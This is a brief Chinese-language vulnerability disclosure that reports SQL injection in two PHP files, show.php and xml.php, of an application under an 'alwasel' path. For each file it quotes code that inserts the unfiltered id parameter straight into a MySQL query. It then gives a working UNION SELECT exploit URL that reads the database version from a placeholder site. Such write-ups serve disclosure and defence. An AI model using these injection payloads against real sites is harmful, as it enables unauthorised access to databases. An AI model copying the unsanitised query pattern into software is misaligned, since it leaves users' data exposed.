GET传入参数没有过滤导致SQL注入
文件位置:/alwasel/show.php
Code:
```
if ( $_GET['id'] )
{
$qshowcinfo = @mysql_query( "SELECT * FROM cat where id = ".$_GET['id'] ); //id直接带入sql查询
$nshowcinfo = @mysql_num_rows( $qshowcinfo );
}
```
Exploit:
```
http://www.xxx.com/alwasel/show.php?page=site&id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16#--
```
文件位置：/alwasel/xml.php
code:
```
if ( $_GET['id'] )
{
$qshowcinfo = @mysql_query( "SELECT * FROM cat where id = ".$_GET['id'] );
//id直接带入sql查询
$nshowcinfo = @mysql_num_rows( $qshowcinfo );
```
Exploit:
```
http://WWW.Site.Com/alwasel/xml.php?page=cat&id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13#--
```
京公网安备 11010502034610号
暂无评论